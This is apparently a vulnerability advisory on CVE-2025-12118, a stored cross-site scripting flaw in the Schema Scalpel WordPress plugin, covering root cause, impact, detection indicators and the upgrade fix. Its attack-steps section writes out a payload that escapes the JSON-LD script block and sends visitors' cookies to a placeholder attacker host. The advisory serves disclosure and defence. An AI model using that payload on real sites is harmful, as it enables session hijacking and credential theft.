CVE-2025-12118: 
WordPress vulnerability analysis and mitigation

CVE-2025-12118 is a Stored Cross-Site Scripting (XSS) vulnerability in the Schema Scalpel plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw arises from insufficient input sanitization and output escaping when user-supplied post titles are rendered into JSON-LD schema markup. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts that execute in the browsers of any user visiting the affected page. It was published on November 1, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to sanitize the $page_title variable and does not use safe encoding functions before embedding it into JSON-LD structured data output in the page's <script> block. Specifically, the vulnerable code paths are found in public/class-schema-scalpel-public.php at lines 146 and 183 of version 1.6.1, where raw post title values are passed directly into JSON-LD markup without sanitize_text_field() or wp_json_encode() with appropriate escaping flags. The fix, committed by the plugin author, applies sanitize_text_field() to $page_title and breadcrumb titles, uses wp_json_encode() with JSON_HEX_* flags, and secures path extraction via esc_url_raw() and parse_url() (GitHub Commit, Wordfence).

Successful exploitation allows an authenticated attacker with at least Contributor-level WordPress access to persistently inject malicious JavaScript into pages rendered for all site visitors. The injected scripts execute in victims' browsers, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. While availability is not directly impacted, the confidentiality and integrity of user sessions and site content are at risk, and the stored nature of the payload means every page view by any user triggers execution (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12118. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Schema Scalpel plugin at version 1.6.1 or earlier, using tools like WPScan or by inspecting page source for JSON-LD schema markup generated by the plugin.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious post title: Create or edit a post with a title containing an XSS payload designed to break out of the JSON-LD <script> context, for example: </script><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Publish the post: Submit the post so the malicious title is stored in the database and rendered into the JSON-LD schema markup on the page.
5. Trigger execution: Any user (including administrators) who visits the affected page will have the injected script execute in their browser, potentially exposing session cookies or enabling further attacks (GitHub Commit, Wordfence).

• Logs: WordPress access logs showing posts created or edited by Contributor-level accounts containing unusual characters (e.g., <script>, </script>, javascript:) in post title fields.
• File System: No direct file system artifacts expected, as the payload is stored in the WordPress database (wp_posts table, post_title column).
• Database: Inspect wp_posts for post titles containing HTML tags or JavaScript payloads, particularly those with <script> tags or encoded variants.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with JSON-LD schema markup, potentially carrying cookie or session data in query parameters.

Site administrators should update the Schema Scalpel plugin to version 1.6.2 or later, which includes the security fix committed by the plugin author (commit 0a24430) that applies proper sanitization and encoding to post titles in JSON-LD output. As a temporary workaround, restrict Contributor-level user registration and review existing Contributor accounts for suspicious post content. Auditing the wp_posts table for malicious payloads in post titles is also recommended for sites that may have been exposed (GitHub Commit, Wordfence).

The vulnerability was discovered and reported by Wordfence (Ticket 421133), which included it in their weekly WordPress vulnerability report for the period of October 27–November 2, 2025. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified (Wordfence Weekly Report).